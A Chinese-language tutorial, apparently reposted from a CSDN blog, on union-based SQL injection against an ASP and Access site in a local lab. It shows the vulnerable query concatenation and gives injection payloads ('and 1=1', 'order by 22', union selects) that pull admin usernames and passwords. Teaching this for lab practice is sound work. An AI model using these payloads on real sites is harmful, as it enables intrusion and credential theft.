第二课 SQL注入之access

一、搭建组合

  •            操作系统:windows Linux
  • 目录

    一、搭建组合


    搭建平台:iis apache uginx tomcat
  • 脚本格式: asp php aspx jsp cgi war py pl do js
  • 数据库: access mysql mssql oracle db2 postsql
  • 脚本  数据库  搭建平台  操作系统

    1.asp + access + iis +  windows

    2.php + mysql  + apache + linux

    3.php + mysql  + apache + windows

    4.php + mysql  + iis    + windows

    5.aspx + sqlserver + iis + windows

    6.asp  + sqlserver + iis + windows

    7.jsp  + oracle   +  uginx +linux  windows

  • 脚本编程与数据库结合代码分析注入原理
  • 网站域名:http://127.0.0.1:81/0/0/

    文件目录:Productio

    网站文件:PRODUCT_DETAIL.asp

    文件参数名:id

    文件参数值:1513

     

     

    http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1513

    sql="select * from product where id="&id

    select * from product where id=1513 and 1=1

     

    sql注入原理:网站文件参数传递中未进行过滤,从而导致的恶意sql语句执行的结果。

     

     

  • 初识asp+access sql注入漏洞(联合查询法)
  • 判断注入
  • ' and 1=1 and 1=2

    and 1=1  页面正常

    and 1=22 页面错误

    数学逻辑运算符 或 且 非

    or and xor

    真且真 真

    真且假 假

    真或假 真

    http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1513

    select * from product where id=1513

    http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1

    select * from product where id=1513 and 1=1

    http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=22

    select * from product where id=1513 and 1=22

     

     

    猜字段:order by 22

     

    2.猜解表名

    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

     

    3.猜解列名

    union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

    4.猜解内容

    http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,xxuser_name,4,5,6,7,8,9,10,11,12,13,14,xxpass_word,16,17,18,19,20,21,22 from admin

     

     

     

  • 分析注入中的产生条件
  • sql注入漏洞产生的条件:

    1.是否有参数传递

    2.是否参数带入数据库查询

    3.是否sql语句被执行

     

  •  
  • 几个例子+练习作业
  • 搭建asp环境,搭建测试的源码
  • 测试sql注入(asp+access)
  •  

    Ea_admin

    3.尝试修改列名或表名 再次猜解

     

     

     

     

     

    总结:

    问题1.access注入一定能猜解到表名或列名吗?

    问题2.access注入表名或列名猜解不到怎么办?

     

     

     

    www.xxx.com/ea_news.asp?id=1

    www.xxx.com/ea_photo.asp?id=1

     

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

     

猜你喜欢

转载自blog.csdn.net/dianyanxia/article/details/86567477